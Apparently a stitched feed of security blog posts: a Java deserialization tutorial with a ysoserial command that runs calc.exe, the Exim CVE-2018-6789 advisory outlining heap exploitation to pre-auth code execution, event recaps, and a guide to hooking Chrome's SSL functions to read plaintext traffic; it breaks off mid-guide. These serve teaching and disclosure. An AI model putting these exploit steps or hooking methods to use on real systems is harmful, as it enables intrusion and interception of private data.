  // Function called during deserialization

  private void readObject(ObjectInputStream in)
  {
     System.out.println("readObject from LogFile");

     try
     {
        // Unserialize data

        in.defaultReadObject();
        System.out.println("File name: " + filename + ", file content: \n" + filecontent);

        // Do something useful with the data
        // Restore LogFile, write file content to file name

        FileWriter file = new FileWriter(filename);
        BufferedWriter out = new BufferedWriter(file);

        System.out.println("Restoring log data to file...");
        out.write(filecontent);

        out.close();
        file.close();
     }
     catch (Exception e)
     {
         System.out.println("Exception: " + e.toString());
     }
   }
}

We can see the following:

  • implements Serializable – The class has to implement this interface to be serializable
  • filename and filecontent – Class variables, which should contain the “LogFile” data
  • readObject – The function that will be called during deserialization
  • in.defaultReadObject() – Function that performs the default deserialization -> will read the data from the file and set the values to our filename and filecontent variables
  • out.write(filecontent) – Our vulnerable class wants to do something useful, and it will restore the log file data (from filecontent) to a file on the disk (from filename)

So, what’s wrong here? A possible use case for this class is the following:

  1. A user logs in and execute some actions in the application
  2. The actions will generate a user-specific log file, using this class
  3. The user has the possibility to download (serialize LogFile) it’s logged data
  4. The user has the possibility to upload (deserialize LogFile) it’s previously saved data

In order to work easier with serialization, we can use the following class to serialize and deserialize data from files:

class Utils
{
    // Function to serialize an object and write it to a file

    public static void SerializeToFile(Object obj, String filename)
    {
        try
        {
            FileOutputStream file = new FileOutputStream(filename);
            ObjectOutputStream out = new ObjectOutputStream(file);

            // Serialization of the object to file

            System.out.println("Serializing " + obj.toString() + " to " + filename);
            out.writeObject(obj);

            out.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }
    }

    // Function to deserialize an object from a file

    public static Object DeserializeFromFile(String filename)
    {
        Object obj = new Object();

        try
        {
            FileInputStream file = new FileInputStream(filename);
            ObjectInputStream in = new ObjectInputStream(file);

            // Deserialization of the object to file

            System.out.println("Deserializing from " + filename);
            obj = in.readObject();

            in.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }

        return obj;
    }
}

Let’s see how a serialized object will look like. Below is the serialization of the object:

LogFile ob = new LogFile();
ob.filename = "User_Nytro.log";
ob.filecontent = "No actions logged";

String file = "Log.ser";

Utils.SerializeToFile(ob, file);

Here is the content (hex) of the Log.ser file:

AC ED 00 05 73 72 00 07 4C 6F 67 46 69 6C 65 D7 ¬í..sr..LogFile×
60 3D D7 33 3E BC D1 02 00 02 4C 00 0B 66 69 6C `=×3>¼Ñ...L..fil
65 63 6F 6E 74 65 6E 74 74 00 12 4C 6A 61 76 61 econtentt..Ljava
2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 4C 00 08 /lang/String;L..
66 69 6C 65 6E 61 6D 65 71 00 7E 00 01 78 70 74 filenameq.~..xpt
00 11 4E 6F 20 61 63 74 69 6F 6E 73 20 6C 6F 67 ..No actions log
67 65 64 74 00 0E 55 73 65 72 5F 4E 79 74 72 6F gedt..User_Nytro
2E 6C 6F 67                                     .log

As you can see, it looks simple. We can see the class name, “LogFile”, “filename” and “filecontent” variable names and we can also see their values. However, it is important to note that there is no code, it is only the data.

Let’s dig into it to see what it contains:

  • AC ED -> We already discussed about the magic number
  • 00 05 -> And protocol version
  • 73 -> We have a new object (TC_OBJECT)
  • 72 -> Refers to a class description (TC_CLASSDESC)
  • 00 07 -> The length of the class name – 7 characters
  • 4C 6F 67 46 69 6C 65 -> Class name – LogFile
  • D7 60 3D D7 33 3E BC D1 -> Serial version UID – An identifier of the class. This value can be specified in the class, if not, it is generated automatically
  • 02 -> Flag mentioning that the class is serializable (SC_SERIALIZABLE) – a class can also be externalizable
  • 00 02 -> Number of variables in the class
  • 4C -> Type code/signature – class
  • 00 0B -> Length of the class variable – 11
  • 66 69 6C 65 63 6F 6E 74 65 6E 74 -> Variable name – filecontent
  • 74 -> A string (TC_STRING)
  • 00 12 -> Length of the class name
  • 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B -> Class name – Ljava/lang/String;
  • 4C -> Type code/signature – class
  • 00 08 -> Length of the class variable – 8
  • 66 69 6C 65 6E 61 6D 65 -> Variable name – filename
  • 71 -> It is a reference to a previous object (TC_REFERENCE)
  • 00 7E 00 01 -> Object reference ID. Referenced objects start from 0x7E0000
  • 78 -> End of block data for this object (TC_ENDBLOCKDATA)
  • 70 -> NULL reference, we finished the “class description”, the data will follow
  • 74 -> A string (TC_STRING)
  • 00 11 -> Length of the string – 17 characters
  • 4E 6F 20 61 63 74 69 6F 6E 73 20 6C 6F 67 67 65 64 -> The string – No actions logged
  • 74 -> A string (TC_STRING)
  • 00 0E -> Length of the string – 14 characters
  • 55 73 65 72 5F 4E 79 74 72 6F 2E 6C 6F 67 -> The string – User_Nytro.log

The protocol details are not important, but they might help if manually updating a serialized object is required.

Attack example

As you might expect, the issue happens during the deserialization process. Below is a simple example of deserialization.

LogFile ob = new LogFile();
 String file = "Log.ser";

// Deserialization of the object 
 
 ob = (LogFile)Utils.DeserializeFromFile(file);

And here is the output:

Deserializing from Log.ser
readObject from LogFile
File name: User_Nytro.log, file content: No actions logged
Restoring log data to file...

What happens is pretty straightforward:

  1. We deserialize the “Log.ser” file (containing a serialized LogFile object)
  2. This will automatically call “readObject” method of “LogFile” class
  3. It will print the file name and the file content
  4. And it will create a file called “User_Nytro.log” containing “No actions logged” text

As you can see, an attacker will be able to write any file (depending on permissions) with any content on the system running the vulnerable application. It is not a directly exploitable Remote Command Execution, but it might be turned into one.

We need to understand a few important things:

  • Serialized objects do not contain code, they contain only data
  • The serialized object contains the class name of the serialized object
  • Attackers control the data, but they do not contain the code, meaning that the attack depends on what the code does with the data

Is is important to note that readObject is not the only affected method. The readResolvereadExternal and readUnshared methods have to be checked as well. Oh, we should not forget XStream. And this is not the full list…

For black-box testing, it might be easy to find serialized objects by looking into the network traffic and trying to find 0xAC 0xED bytes or “ro0” base64 encoded bytes. If we do not have any information about the libraries on the remote system, we can just iterate through all ysoserial payloads and throw them at the application.

But my readObject is safe

This might be the most common problem regarding deserialization vulnerabilities. Any application doing deserialization is vulnerable as long as in the class-path are other vulnerable classes. This happens because, as we already discussed earlier, the serialized object contains a class name. Java will try to find the class specified in the serialized object in the class path and load it.

One of the most important vulnerabilities was discovered in the well-known Apache Commons Collections library. If on the system running the deserialization application a vulnerable version of this library or multiple other vulnerable libraries is present, the deserialization vulnerability can result in remote command execution.

Let’s do an example and completely remove the “readObject” method from our LogFile class. Since it will not do anything, we should be safe, right? However, we should also download commons-collections-3.2.1.jar library and extract it in the class-path (the org directory).

In order to exploit this vulnerability, we can easily use ysoserial tool. The tool has a collection of exploits and it allows us to generate serialized objects that will execute commands during deserialization. We just need to specify the vulnerable library. Below is an example for Windows:

java -jar ysoserial-master.jar CommonsCollections5 calc.exe > Exp.ser

This will generate a serialized object (Exp.ser file) for Apache Commons Collections vulnerable library and the exploit will execute the “calc.exe” command. What happens if our code will read this file and deserialize the data?

LogFile ob = new LogFile();
 String file = "Exp.ser";

// Deserialization of the object

ob = (LogFile)Utils.DeserializeFromFile(file);

This will be the output:

Deserializing from Exp.ser
Exception in thread "main" java.lang.ClassCastException: java.management/javax.management.BadAttributeValueExpException cannot be cast to LogFile
 at LogFiles.main(LogFiles.java:105)

But this will result as well:

Calculator

We can see that an exception related to casting the deserialized object was thrown, but this happened after the deserialization process took place. So even if the application is safe, if there are vulnerable classes out there, it is game over. Oh, it is also possible to have issues with deserialization directly on JDK, without any 3rd party libraries.

How to prevent it?

The most common suggestion is to use Look Ahead ObjectInputStream. This method allows to prevent deserialization of untrusted classes by implementing a whitelist or a blacklist of classes that can be deserialized.

However, the only secure way to do serialization is to not do it.

Conclusion

Java deserialization vulnerabilities became more common and dangerous. Public exploits are available and is easy for attackers to exploit these vulnerabilities.

It might be useful to document a bit more about this vulnerability. You can find here a lot of useful resources.

We also have to consider that Oracle plans to dump Java serialization.

However, the important thing to remember is that we should just avoid (de)serialization.

H1-415: Hacking My Way Into the Top 4 of the Day

3 May 2018 at 00:00

I’ve always wanted to visit San Francisco! So I was really happy about an email from HackerOne inviting me to this beautiful city in April. But they did not cover all the costs for my international flights and the hotel room just for my personal city trip - they had something really nasty in mind: hacking Oath! If you don’t know Oath - they own brands like Yahoo, AOL, Tumblr, Techcrunch amongst others.

So while a free trip to San Francisco by itself is already an awesome thing, HackerOne did a great job in organizing a live hacking event which currently has no equal…and this does not only apply to the logo ;-)

The event itself took place in a beautiful coworking space in downtown San Francisco on the 14th floor with a nice view over San Francisco, including a tasty breakfast. This breakfast was indeed needed for the upcoming 9 hours of hacking kung-fu! The hacking was finally kicked off at 10:00 with a pretty nice scope to hack on. However, the scope itself has already been announced a couple of days prior to the event itself, so that everyone had the chance to prepare some nice vulnerabilities and bring them to the event. The only tricky thing was to verify the vulnerabilities again before submitting them during the event to make sure they haven’t been fixed by a last-minute patch ;-)

As part of this preparation I found almost 20 vulnerabilities ranging from Cross-Site Scripting up to some nice SQL Injection chains. The first 60 minutes of the event were covered by a blackout period where everybody had the chance to submit their findings without having to fear duplicates! The good thing about this approach was that duplicates have been paid out by splitting the bounty amount amongst all hackers that reported the same vulnerability. Luckily my personal dupe count was just at 3 resulting in my smallest bounty of USD 50. After this blackout period all duplicates were handled as usual - first come, first serve.

After 9 hours of continuous hacking my personal day ended with 25 vulnerability submissions, a maximum single payout of 5.000 USD and an overall rank of 4 on the event leaderboard:

At the end of the day Oath paid an overall of 400.000 USD (yes it’s 6 digits!) to all participating hackers, which has been the biggest event so far!

However, there was more to this event than just getting bounties. During the event I met so many talented hackers like @yaworsk, @arneswinnen, @securinti, @smiegles, @SebMorin1, @thedawgyg, @seanmeals, @Corb3nik, @Rhynorater , @prebenve@ngalongc, the famous @filedescriptor and many, many more which is by far more valuable than any bounty! Thank you so much for being part of this community!

On this way I would like to thank HackerOne and specifically Ted Kramer for organizing a really awesome event and Ben Sadeghipour for giving me the chance to show my skills! A special thanks is going to the whole HackerOne triaging team for triaging hundreds of vulnerability reports and paying them out right on stage - just another day at work, right ;-) ?

It was a truly amazing experience - see you on the next event!

NetRipper at BlackHat Asia Arsenal 2018

31 March 2018 at 20:52

I had the opportunity to present NetRipper at BlackHat Asia Arsenal 2018 and it was amazing. As you probably know, BlackHat conferences have trainings, briefings (presentations), vendor’s area and Arsenal. Arsenal is the perfect place for anyone who wants to present its open-source tool. It is organised by ToolsWatch and I totally recommend you to check it out if you participate to any BlackHat conference.

Arsenal

Since it was my first BlackHat conference, I did not know what to expect and how things will go. I knew that Arsenal presentations take place in booths (stations) in the vendor’s area and this might look strange at the beginning, but as soon as I saw it, I realised that this is perfect.

At BlackHat Asia, there are 6 Arsenal stations where 6 open-source tools are presented at the same time, each tool being presented for about two hours. This is followed by another round of 6 tools, for another 2 hours, and so on, to the end of the day. This is how a station looks like:

DY3nx3vVQAAmx-v

You can find the list of tools here: https://www.blackhat.com/asia-18/arsenal.html

It is important to note that you will not see slides at Arsenal (or just a few). Arsenal is focused on interaction between the speaker and the participants and you will see a lot of demos.  You go there to talk to people about their tools, ask them questions and see them in action. There is no time for slides (I used only one, with contact information and GitHub page) and you can learn anything you want from each tool and even recommend new features and improvements.

DY82rOUVwAALJ1P

It will take you just a few minutes to see each tool in action, so you will have enough time to see all of them. You should take your time, as you might realise that those tools might really help you on your engagements.

Speakers

If you develop your own open-source tool, I suggest you to apply to Arsenal call for papers. The only issue is that you (or your company) have to cover the travel and hotel expenses, but it will worth it.

Arsenal is one of the best places to show your project, to get real-time feedback and to find bugs during your demos (it happens, a lot).

You will have the opportunity to interact to a lot of people with different views: some of them might be very technical, some of them might not, but for sure, all of them will help you to build a better tool.

You will also have the opportunity to interact with other Arsenal speakers and you might find that your tools can do a good job together. Here is a a photo with all (or most) of us:

IMG_8937

Also, as anyone working on his free time on a project, Arsenal might be a very good motivation to build a powerful and stable tool. You will not want to go there with an unstable tool, of course.

Oh, if this is not enough, you should also know that you will receive a Briefings pass as well, so you will also have the possibility to see the presentations. And since a Briefings pass is not very cheap, this should encourage you to present.

Conclusion

BlackHat Arsenal is an amazing place, both for visitors and speakers. Also, even if the trip might cost some money (however, my company paid for my trip), it will totally worth it. Oh, I almost forgot… Singapore is a really nice city to visit. 🙂

Exim 任意代碼執行漏洞 (CVE-2018-6789)

5 March 2018 at 16:00

內容

今年我們向 Exim 回報了一個位於 base64 解碼函式的溢出漏洞,編號為 CVE-2018-6789。此漏洞從 Exim 專案開始時即存在,因此影響 Exim 的所有版本

根據我們的研究,攻擊者可利用此漏洞達成遠端任意代碼執行,並且不需任何認證,至少有 40 萬台 Exim 伺服器受此漏洞影響並存在被攻擊的風險。我們建議立即將 Exim 升級至 4.90.1 版以免遭受攻擊。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/

Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing

5 March 2018 at 16:00

Overview

We reported an overflow vulnerability in the base64 decode function of Exim on 5 February, 2018, identified as CVE-2018-6789. This bug exists since the first commit of exim, hence ALL versions are affected. According to our research, it can be leveraged to gain Pre-auth Remote Code Execution and at least 400k servers are at risk. Patched version 4.90.1 is already released and we suggest to upgrade exim immediately.

Affected

  • All Exim versions below 4.90.1

One byte overflow in base64 decoding

Vulnerability Analysis

This is a calculation mistake of decode buffer length in b64decode function: base64.c: 153 b64decode

b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;
// perform decoding
}

As shown above, exim allocates a buffer of 3*(len/4)+1 bytes to store decoded base64 data. However, when the input is not a valid base64 string and the length is 4n+3, exim allocates 3n+1 but consumes 3n+2 bytes while decoding. This causes one byte heap overflow (aka off-by-one). Generally, this bug is harmless because the memory overwritten is usually unused. However, this byte overwrites some critical data when the string fits some specific length. In addition, this byte is controllable, which makes exploitation more feasible. Base64 decoding is such a fundamental function and therefore this bug can be triggered easily, causing remote code execution.

Exploitation

To estimate the severity of this bug, we developed an exploit targeting SMTP daemon of exim. The exploitation mechanism used to achieve pre-auth remote code execution is described in the following paragraphs. In order to leverage this one byte overflow, it is necessary to trick memory management mechanism. It is highly recommended to have basic knowledge of heap exploitation [ref] before reading this section.

We developed the exploit with:

  • Debian(stretch) and Ubuntu(zesty)
  • SMTP daemon of Exim4 package installed with apt-get (4.89/4.88)
  • Config enabled (uncommented in default config) CRAM-MD5 authenticator (any other authenticator using base64 also works)
  • Basic SMTP commands (EHLO, MAIL FROM/RCPT TO) and AUTH

Memory allocation

First, we review the source code and search for useful memory allocation. As we mentioned in the previous article, exim uses self-defined functions for dynamic allocation:

extern BOOL    store_extend_3(void *, int, int, const char *, int);  /* The */
extern void    store_free_3(void *, const char *, int);     /* value of the */
extern void   *store_get_3(int, const char *, int);         /* 2nd arg is   */
extern void   *store_get_perm_3(int, const char *, int);    /* __FILE__ in  */
extern void   *store_malloc_3(int, const char *, int);      /* every call,  */
extern void    store_release_3(void *, const char *, int);  /* so give its  */
extern void    store_reset_3(void *, const char *, int);    /* correct type */

Function store_free() and store_malloc() calls malloc() and free() of glibc directly. Glibc takes a slightly bigger (0x10 bytes) chunk and stores its metadata in the first 0x10 bytes (x86-64) on every allocation, and then returns the location of data. The following illustration describes structure of chunk:

Metadata includes size of previous chunk (the one exactly above in memory), size of current block and some flags. The first three bits of size are used to store flags. In this example, size of 0x81 implies current chunk is 0x80 bytes and the previous chunk is in use. Most of released chunks used in exim are put into a doubly linked list called unsorted bin. Glibc maintains it according to the flags, and merges adjacent released chunks into a bigger chunk to avoid fragmentation. For every allocation request, glibc checks these chunks in an FIFO (first in, first-out) order and reuses the chunks.

For some performance issues, exim maintains its own linked list structure with store_get(), store_release(), store_extend() and store_reset(). architecture of storeblock The main feature of storeblocks is that every block is at least 0x2000 bytes, which becomes a restriction to our exploitation. Note that a storeblock is also the data of a chunk. Therefore, if we look into the memory, it is like:

Here we list functions used to arrange heap data:

  • EHLO hostname For each EHLO(or HELO) command, exim stores the pointer of hostname in sender_host_name.
    • store_free() old name
    • store_malloc() for new name

    smtp_in.c: 1833 check_helo

      1839 /* Discard any previous helo name */
      1840
      1841 if (sender_helo_name != NULL)
      1842   {
      1843   store_free(sender_helo_name);
      1844   sender_helo_name = NULL;
      1845   }
      ...
      1884 if (yield) sender_helo_name = string_copy_malloc(start);
      1885 return yield;
    
  • Unrecognized command For every unrecognized command with unprintable characters, exim allocates a buffer to convert it to printable
    • store_get() to store error message

    smtp_in.c: 5725 smtp_setup_msg

      5725   done = synprot_error(L_smtp_syntax_error, 500, NULL,
      5726     US"unrecognized command");
    
  • AUTH In most authentication procedure, exim uses base64 encoding to communicate with client. The encode and decode string are stored in a buffer allocated by store_get().
    • store_get() for strings
    • can contain unprintable characters, NULL bytes
    • not necessarily null terminated
  • Reset in EHLO/HELO, MAIL, RCPT When a command is done correctly, smtp_reset() is called. This function calls store_reset() to reset block chain to a reset point, which means all storeblocks allocated by store_get() after last command are released.
    • store_reset() to reset point (set at the beginning of function)
    • release blocks added at a time

    smtp_in.c: 3771 smtp_setup_msg

      3771 int
      3772 smtp_setup_msg(void)
      3773 {
      3774 int done = 0;
      3775 BOOL toomany = FALSE;
      3776 BOOL discarded = FALSE;
      3777 BOOL last_was_rej_mail = FALSE;
      3778 BOOL last_was_rcpt = FALSE;
      3779 void *reset_point = store_get(0);
      3780
      3781 DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
      3782
      3783 /* Reset for start of new message. We allow one RSET not to be counted as a
      3784 nonmail command, for those MTAs that insist on sending it between every
      3785 message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
      3786 TLS between messages (an Exim client may do this if it has messages queued up
      3787 for the host). Note: we do NOT reset AUTH at this point. */
      3788
      3789 smtp_reset(reset_point);
    

Exploit steps

To leverage this off-by-one, the chunk beneath decoded base64 data should be freed easily and controllable. After several attempts, we found that sender_host_name is a better choice. We arrange the heap layout to leave a freed chunk above sender_host_name for the base64 data.

  1. Put a huge chunk into unsorted bin First of all, we send a EHLO message with huge hostname to make it allocate and deallocate, leaving a 0x6060 length (3 storeblocks long) chunk in unsorted bin.

  2. Cut the first storeblock Then we send an unrecognized string to trigger store_get() and allocate a storeblock inside the freed chunk.

  3. Cut the second storeblock and release the first one We send a EHLO message again to get the second storeblock. The first block is freed sequentially because of the smtp_reset called after EHLO is done.

    After the heap layout is prepared, we can use the off-by-one to overwrite the original chunk size. We modify 0x2021 to 0x20f1, which slightly extends the chunk.

  4. Send base64 data and trigger off-by-one To trigger off-by-one, we start an AUTH command to send base64 data. The overflow byte precisely overwrites the first byte of next chunk and extends the next chunk.

  5. Forge a reasonable chunk size Because the chunk is extended, the start of next chunk of is changed to somewhere inside of the original one. Therefore, we need to make it seems like a normal chunk to pass sanity checks in glibc. We send another base64 string here, because it requires NULL byte and unprintable character to forge chunk size.

  6. Release the extended chunk To control the content of extended chunk, we need to release the chunk first because we cannot edit it directly. That is, we should send a new EHLO message to release the old host name. However, normal EHLO message calls smtp_reset after it succeeds, which possibly makes program abort or crash. To avoid this, we send an invalid host name such as a+.

  7. Overwrite the next pointer of overlapped storeblock

    After the chunk is released, we can retrieve it with AUTH and overwrite part of overlapped storeblock. Here we use a trick called partial write. With this, we can modify the pointer without breaking ASLR (Address space layout randomization). We partially changed the next pointer to a storeblock containing ACL (Access Control List) strings. The ACL strings are pointed by a set of global pointers such as:

     uschar *acl_smtp_auth;
     uschar *acl_smtp_data;
     uschar *acl_smtp_etrn;
     uschar *acl_smtp_expn;
     uschar *acl_smtp_helo;
     uschar *acl_smtp_mail;
     uschar *acl_smtp_quit;
     uschar *acl_smtp_rcpt;
    

    These pointers are initialized at the beginning of exim process, set according to the configure. For example, if there is a line acl_smtp_mail = acl_check_mail in the configure, the pointer acl_smtp_mail points to the string acl_check_mail. Whenever MAIL FROM is used, exim performs an ACL check, which expands acl_check_mail first. While expanding, exim tries to execute commands if it encounters ${run{cmd}}, so we achieve code execution as long as we control the ACL strings. In addition, we do not need to hijack program control flow directly and therefore we can bypass mitigations such as PIE (Position Independent Executables), NX easily.

  8. Reset storeblocks and retrieve the ACL storeblock Now the ACL storeblock is in the linked list chain. It will be released once smtp_reset() is triggered, and then we can retrieve it again by allocating multiple blocks.

  9. Overwrite ACL strings and trigger ACL check Finally, we overwrite the whole block containing ACL strings. Now we send commands such as EHLO, MAIL, RCPT to trigger ACL checks. Once we touch an acl defined in the configure, we achieve remote code execution.

Fix

Upgrade to 4.90.1 or above

Timeline

  • 5 February, 2018 09:10 Reported to Exim
  • 6 February, 2018 23:23 CVE received
  • 10 February, 2018 18:00 Patch released

Credits

Vulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re

Reference

https://exim.org/static/doc/security/CVE-2018-6789.txt https://git.exim.org/exim.git/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6789 http://www.openwall.com/lists/oss-security/2018/02/07/2

Heap exploitation materials [return]

Hooking Chrome’s SSL functions

25 February 2018 at 23:49

The purpose of NetRipper is to capture functions that encrypt or decrypt data and send them through the network. This can be easily achieved for applications such as Firefox, where it is enough to find two DLL exported functions: PR_Read and PR_Write, but it is way more difficult for Google Chrome, where the SSL_Read and SSL_Write functions are not exported.

The main problem for someone who wants to intercept such calls, is that we cannot easily find the functions inside the huge chrome.dll file. So we have to manually find them in the binary. But how can we do it?

Chrome’s source code

In order to achieve our goal, the best starting point might be Chrome’s source code. We can find it here: https://cs.chromium.org/ . It allows us to easily search and navigate through the source code.

We should probably note from the beginning that Google Chrome uses boringssl, a fork of OpenSSL. This project is available in the Chromium source code here.

Now, we have to find the functions we need: SSL_read and SSL_write, and we can easily find the in the ssl_lib.cc file.

SSL_read:

int SSL_read(SSL *ssl, void *buf, int num) {
 int ret = SSL_peek(ssl, buf, num);
 if (ret <= 0) {
 return ret;
 }
 // TODO(davidben): In DTLS, should the rest of the record be discarded? DTLS
 // is not a stream. See https://crbug.com/boringssl/65.
 ssl->s3->pending_app_data =
 ssl->s3->pending_app_data.subspan(static_cast<size_t>(ret));
 if (ssl->s3->pending_app_data.empty()) {
 ssl->s3->read_buffer.DiscardConsumed();
 }
 return ret;
}

SSL_write:

int SSL_write(SSL *ssl, const void *buf, int num) {
 ssl_reset_error_state(ssl);

if (ssl->do_handshake == NULL) {
 OPENSSL_PUT_ERROR(SSL, SSL_R_UNINITIALIZED);
 return -1;
 }

if (ssl->s3->write_shutdown != ssl_shutdown_none) {
 OPENSSL_PUT_ERROR(SSL, SSL_R_PROTOCOL_IS_SHUTDOWN);
 return -1;
 }

int ret = 0;
 bool needs_handshake = false;
 do {
 // If necessary, complete the handshake implicitly.
 if (!ssl_can_write(ssl)) {
 ret = SSL_do_handshake(ssl);
 if (ret < 0) {
 return ret;
 }
 if (ret == 0) {
 OPENSSL_PUT_ERROR(SSL, SSL_R_SSL_HANDSHAKE_FAILURE);
 return -1;
 }
 }

ret = ssl->method->write_app_data(ssl, &needs_handshake,
 (const uint8_t *)buf, num);
 } while (needs_handshake);
 return ret;
}

Why are we looking at the code? It is simple: in the binary we might find things that we can also find in the source code, such as strings or specific values.

I actually discovered the base idea that I will present here, some time ago, probably here, but I will cover all the aspects in order to make sure anyone will be able to find the functions, not only for Chrome, but also for other tools such as Putty or WinSCP.

SSL_write function

Even if SSL_read function does not provide useful information, we can start with SSL_write and we can see something that looks useful:

OPENSSL_PUT_ERROR(SSL, SSL_R_UNINITIALIZED);

Here is the OPENSSL_PUT_ERROR macro:

// OPENSSL_PUT_ERROR is used by OpenSSL code to add an error to the error
// queue.
#define OPENSSL_PUT_ERROR(library, reason) \
 ERR_put_error(ERR_LIB_##library, 0, reason, __FILE__, __LINE__)

Some things are very useful:

  • ERR_put_error is a function call
  • reason is the second parameter, and in our case SSL_R_UNINITIALIZED has the value 226 (0xE2)
  • __FILE__ is the actual filename, full path of ssl_lib.cc
  • __LINE__ is the current line number in ssl_lib.cc file

All this information can help us to find the SSL_write function. Why?

  • We know it is a function call, so the parameters (such as reason, __FILE__ and __LINE__) will be placed on the stack (x86)
  • We know the reason (0xE2)
  • We know the __FILE__ (ssl_lib.cc)
  • We know the __LINE__ (1060 or 0x424 in this version)

But what if there are different versions used? The line numbers can be totally different. Well, in this case, we have to take a look at how Google Chrome uses BoringSSL.

We can find the specific version of Chrome here. For example, right now on x86 I have this version: Version 65.0.3325.181 (Official Build) (32-bit). We can find its source code here. Now, we have to find the BoringSSL code, but it looks like it is not there. However, we can find the DEPS file very useful, and extract some information:

vars = {
...
 'boringssl_git':
 'https://boringssl.googlesource.com',
 'boringssl_revision':
 '94cd196a80252c98e329e979870f2a462cc4f402',

We can see that our Chrome version uses https://boringssl.googlesource.com to get BoringSSL and it uses this revision: 94cd196a80252c98e329e979870f2a462cc4f402. Based on this, we can get the exact code for BoringSSL right here. And this is the ssl_lib.cc file.

Now, let’s see which steps we have to take to get the SSL_write function address:

  1. Search for “ssl_lib.cc” filename in the read-only section of chrome.dll (.rdata)
  2. Get the full path and search for references
  3. Check all references to the string and find the right one based on “reason” and line number parameters

SSL_read function

It was not difficult to find the SSL_write function because there is a OPENSSL_PUT_ERROR, but we do not have it on SSL_read. Let’s see how SSL_read works and follow it.

We can easily see that it calls SSL_peek:

int ret = SSL_peek(ssl, buf, num);

We can see that SSL_peek will call ssl_read_impl function:

int SSL_peek(SSL *ssl, void *buf, int num) {
 int ret = ssl_read_impl(ssl);
 if (ret <= 0) {
 return ret;
 }
...
}

And ssl_read_impl function is trying to help us:

static int ssl_read_impl(SSL *ssl) {
 ssl_reset_error_state(ssl);

if (ssl->do_handshake == NULL) {
 OPENSSL_PUT_ERROR(SSL, SSL_R_UNINITIALIZED);
 return -1;
 }
...
}

We can search in the code and find out that ssl_read_impl function is called just two times, by SSL_peek and SSL_shutdown functions, so it should be pretty easy to find SSL_peek. After we find SSL_peek, SSL_read is straight forward to find.

Chrome on 32 bits

Since we have the general idea about how we can find the functions, let’s find them.

I will use x64dbg but you can probably use any other debugger. We have to go to the “Memory” tab and find chrome.dll. We will need to do two things first:

  • Open the code section in the disassembler, so right click on “.text” and choose “Follow in Disassembler”
  • Open the read-only data section in the dump window, so right click on “.rdata” and choose “Follow in Dump”

We have to find now the “ssl_lib.cc” string in the dump window, so right click inside the window, choose “Find Pattern” and search for our ASCII string. You should have a single result, double click it and go back until you find the full path of the ssl_lib.cc file. Right click the first byte of the full path, as shown in the screenshot below and choose “Find References” to see where we can find it used (OPENSSL_PUT_ERROR function calls).

Found full path 32

It looks like we have multiple references, but we can take them one by one and find the right one. Here is the result.

Found multiple 32

Let’s go to the last one for example, to see how it looks like.

6D44325C | 68 AD 03 00 00 | push 3AD |
6D443261 | 68 24 24 E9 6D | push chrome.6DE92424 | 6DE92424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6D443266 | 6A 44          | push 44 |
6D443268 | 6A 00          | push 0 |
6D44326A | 6A 10          | push 10 |
6D44326C | E8 27 A7 00 FF | call chrome.6C44D998 |
6D443271 | 83 C4 14       | add esp,14 |

It looks exactly as we expected, a function call with five parameters. As you probably know, the parameters are pushed on the stack from right to left an we have the following:

  1. push 3AD – The line number
  2. push chrome.6DE92424 – Our string, the file path
  3. push 44 – The reason
  4. push 0 – The parameter which is always 0
  5. push 10 – First parameter
  6. call chrome.6C44D998 – Call the ERR_put_error function
  7. add esp,14 – Clean the stack

However, 0x3AD represents line number 941, which is inside “ssl_do_post_handshake” so it is not what we need.

SSL_write

SSL_write has calls to this function on line numbers 1056 (0x420) and 1061 (x0425) so we will need to find the call to the function with a push 420 or push 425 at the beginning. Going through the results will take just a few seconds until we find it:

6BBA52D0 | 68 25 04 00 00 | push 425 |
6BBA52D5 | 68 24 24 E9 6D | push chrome.6DE92424 | 6DE92424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6BBA52DA | 68 C2 00 00 00 | push C2 |
6BBA52DF | EB 0F          | jmp chrome.6BBA52F0 |
6BBA52E1 | 68 20 04 00 00 | push 420 |
6BBA52E6 | 68 24 24 E9 6D | push chrome.6DE92424 | 6DE92424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6BBA52EB | 68 E2 00 00 00 | push E2 |
6BBA52F0 | 6A 00          | push 0 |
6BBA52F2 | 6A 10          | push 10 |
6BBA52F4 | E8 9F 86 8A 00 | call chrome.6C44D998 |

We can see here both function calls, but with just a small mention that the first one is optimised. Now, we have just to go back until we find something that looks like the start of a function. While this might not be always the case for other functions, it should work in our case and we can easily find it by classic function prologue:

6BBA5291 | 55    | push ebp |
6BBA5292 | 89 E5 | mov ebp,esp |
6BBA5294 | 53    | push ebx |
6BBA5295 | 57    | push edi |
6BBA5296 | 56    | push esi |

Let’s place a breakpoint at 6BBA5291 and see what happens when we use Chrome to browse some HTTPS website (to avoid issues, browse a website without SPDY or HTTP/2.0).

Here is an example of what we can get on the top of the stack when the breakpoint is triggered:

06DEF274 6A0651E8 return to chrome.6A0651E8 from chrome.6A065291
06DEF278 0D48C9C0 ; First parameter of SSL_write (pointer to SSL)
06DEF27C 0B3C61F8 ; Second parameter, the payload
06DEF280 0000051C ; Third parameter, payload size

If you will right click the second parameter and select “Follow DWORD in Dump”, you should see the plain-text data, such as:

0B3C61F8 50 4F 53 54 20 2F 61 68 2F 61 6A 61 78 2F 72 65 POST /ah/ajax/re 
0B3C6208 63 6F 72 64 2D 69 6D 70 72 65 73 73 69 6F 6E 73 cord-impressions 
0B3C6218 3F 63 34 69 3D 65 50 6D 5F 66 48 70 72 78 64 48 ?c4i=ePm_fHprxdH

SSL_read

